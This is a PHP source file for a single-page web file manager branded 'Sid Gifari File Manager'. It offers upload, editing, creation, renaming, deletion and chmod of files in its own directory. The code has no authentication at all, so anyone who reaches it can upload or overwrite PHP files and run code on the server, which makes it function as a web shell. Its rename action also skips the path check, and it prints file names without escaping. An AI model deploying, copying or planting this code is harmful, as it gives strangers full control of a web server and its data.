<?php
// ================= CONFIG =================
$ROOT = realpath(__DIR__);  // Define the root directory
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?');  // Base URL without query parameters

// Secure path resolver
function safePath($path) {
    global $ROOT;
    $full = realpath($path);
    return ($full && strpos($full, $ROOT) === 0) ? $full : false;
}

// Get current directory from query parameters
$path = $_GET['path'] ?? '';  // Path parameter for navigation
$currentDir = safePath($ROOT . '/' . $path) ?: $ROOT;  // Resolve directory safely

// ================= ACTIONS =================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    // Handle file uploads
    if (!empty($_FILES['files'])) {
        foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
            if ($tmp && is_uploaded_file($tmp)) {
                $destination = $currentDir . '/' . basename($_FILES['files']['name'][$i]);
                if (move_uploaded_file($tmp, $destination)) {
                    echo "File uploaded: " . basename($_FILES['files']['name'][$i]);
                } else {
                    echo "Failed to upload: " . basename($_FILES['files']['name'][$i]);
                }
            }
        }
    }

    // Handle new folder creation
    if (!empty($_POST['newfolder'])) {
        $newFolder = basename($_POST['newfolder']);
        if (!file_exists($currentDir . '/' . $newFolder)) {
            mkdir($currentDir . '/' . $newFolder, 0755);
        }
    }

    // Handle new file creation
    if (!empty($_POST['newfile'])) {
        $filename = basename($_POST['newfile']);
        $filepath = $currentDir . '/' . $filename;
        if (!file_exists($filepath)) {
            file_put_contents($filepath, '');  // Create an empty file
        }
    }

    // Handle file/folder deletion
    if (!empty($_POST['delete'])) {
        $target = safePath($currentDir . '/' . $_POST['delete']);
        if (is_file($target)) {
            unlink($target);  // Delete file
        } elseif (is_dir($target)) {
            rmdir($target);  // Delete folder
        }
    }

    // Handle renaming files/folders
    if (!empty($_POST['old']) && !empty($_POST['new'])) {
        $oldName = $currentDir . '/' . $_POST['old'];
        $newName = $currentDir . '/' . $_POST['new'];
        if (rename($oldName, $newName)) {
            echo "Renamed successfully!";
        }
    }

    // Handle chmod permissions change
    if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
        $target = safePath($currentDir . '/' . $_POST['chmod_file']);
        if ($target) {
            $mode = intval($_POST['chmod'], 8);
            chmod($target, $mode);
        }
    }

    // Handle file content editing
    if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
        $target = safePath($currentDir . '/' . $_POST['edit_file']);
        if ($target && is_file($target)) {
            file_put_contents($target, $_POST['content']);
        }
    }

    // Redirect after POST action
    header("Location: $BASE_URL?path=" . urlencode($path));
    exit;
}

// ================= FILE LIST =================
$files = scandir($currentDir);  // Get files and directories

// Edit file mode
$editMode = isset($_GET['edit']);
$editFile = $editMode ? $_GET['edit'] : '';
$editContent = '';
if ($editMode && $editFile) {
    $target = safePath($currentDir . '/' . $editFile);
    if ($target && is_file($target)) {
        $editContent = htmlspecialchars(file_get_contents($target));
    }
}

// Build path segments for navigation
$pathSegments = [];
if ($path) {
    $segments = explode('/', trim($path, '/'));
    $currentPath = '';
    foreach ($segments as $segment) {
        $currentPath .= '/' . $segment;
        $pathSegments[] = [
            'name' => $segment,
            'path' => trim($currentPath, '/')
        ];
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sid Gifari File Manager</title>
    <style>
        body { font-family: Arial, sans-serif; background: #f5f5f5; }
        .container { width: 90%; margin: auto; }
        h2 { text-align: center; }
        table { width: 100%; background: #fff; border-collapse: collapse; }
        th, td { padding: 8px; border-bottom: 1px solid #ddd; }
        a { text-decoration: none; color: #007bff; }
        button { padding: 5px 10px; cursor: pointer; }
        .drop { border: 2px dashed #999; padding: 20px; text-align: center; margin-bottom: 10px; }
        .permissions-form { display: inline-block; margin-left: 5px; }
        .chmod-input { width: 60px; padding: 2px; }
        .path-nav { background: #fff; padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; }
        .path-nav a { margin: 0 5px; color: #333; }
        .path-nav a:hover { color: #007bff; }
        .path-nav span.separator { margin: 0 5px; color: #999; }
    </style>
</head>
<body>

<div class="container">
    <h2>Sid Gifari File Manager</h2>

    <?php if ($editMode && $editFile): ?>
        <!-- EDIT FILE MODE -->
        <div class="path-nav">
            <a href="?">🏠 Root</a>
            <?php foreach ($pathSegments as $segment): ?>
                <span class="separator">/</span>
                <a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
            <?php endforeach; ?>
        </div>

        <h3>Editing: <?= htmlspecialchars($editFile) ?></h3>
        <form method="post">
            <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
            <textarea name="content" rows="20" style="width:100%; font-family: monospace"><?= $editContent ?></textarea><br><br>
            <button type="submit">Save</button>
            <a href="?path=<?= urlencode($path) ?>"><button type="button">Cancel</button></a>
        </form>

    <?php else: ?>
        <!-- NORMAL MODE -->
        <!-- Path Navigation Bar -->
        <div class="path-nav">
            <a href="?">🏠 Root</a>
            <?php foreach ($pathSegments as $segment): ?>
                <span class="separator">/</span>
                <a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
            <?php endforeach; ?>
        </div>

        <div class="drop">
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="files[]" multiple>
                <button>Upload</button>
            </form>
        </div>

        <!-- Create Folder Form -->
        <form method="post" style="display:inline-block; margin-right:10px">
            <input name="newfolder" placeholder="New Folder Name">
            <button>Create Folder</button>
        </form>

        <!-- Create File Form -->
        <form method="post" style="display:inline-block">
            <input name="newfile" placeholder="New File Name">
            <button>Create File</button>
        </form>

        <table>
            <tr><th>Name</th><th>Size</th><th>Permissions</th><th>Action</th></tr>

            <?php foreach ($files as $f):
                if ($f === '.' || $f === '..') continue;
                $full = $currentDir . '/' . $f;
                $perms = fileperms($full);
                $permission = substr(sprintf('%o', $perms), -4);
            ?>
                <tr>
                    <td>
                        <?php if (is_dir($full)): ?>
                            📁 <a href="?path=<?= urlencode(trim("$path/$f", '/')) ?>"><?= $f ?></a>
                        <?php else: ?>
                            📄 <a href="<?= trim("$path/$f", '/') ?>" target="_blank"><?= $f ?></a>
                        <?php endif; ?>
                    </td>
                    <td><?= is_file($full) ? number_format(filesize($full)) . ' bytes' : '-' ?></td>
                    <td>
                        <form method="post" class="permissions-form">
                            <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($f) ?>">
                            <input type="text" name="chmod" value="<?= $permission ?>" class="chmod-input" placeholder="0755">
                            <button type="submit">Chmod</button>
                        </form>
                    </td>
                    <td>
                        <?php if (is_file($full)): ?>
                            <a href="?path=<?= urlencode($path) ?>&edit=<?= urlencode($f) ?>">
                                <button>Edit</button>
                            </a>
                        <?php endif; ?>

                        <form method="post" style="display:inline">
                            <input type="hidden" name="old" value="<?= htmlspecialchars($f) ?>">
                            <input type="text" name="new" placeholder="New name" style="width:120px">
                            <button type="submit">Rename</button>
                        </form>

                        <form method="post" style="display:inline">
                            <input type="hidden" name="delete" value="<?= $f ?>">
                            <button onclick="return confirm('Delete?')">❌</button>
                        </form>
                    </td>
                </tr>
            <?php endforeach; ?>
        </table>
    <?php endif; ?>
</div>

</body>
</html>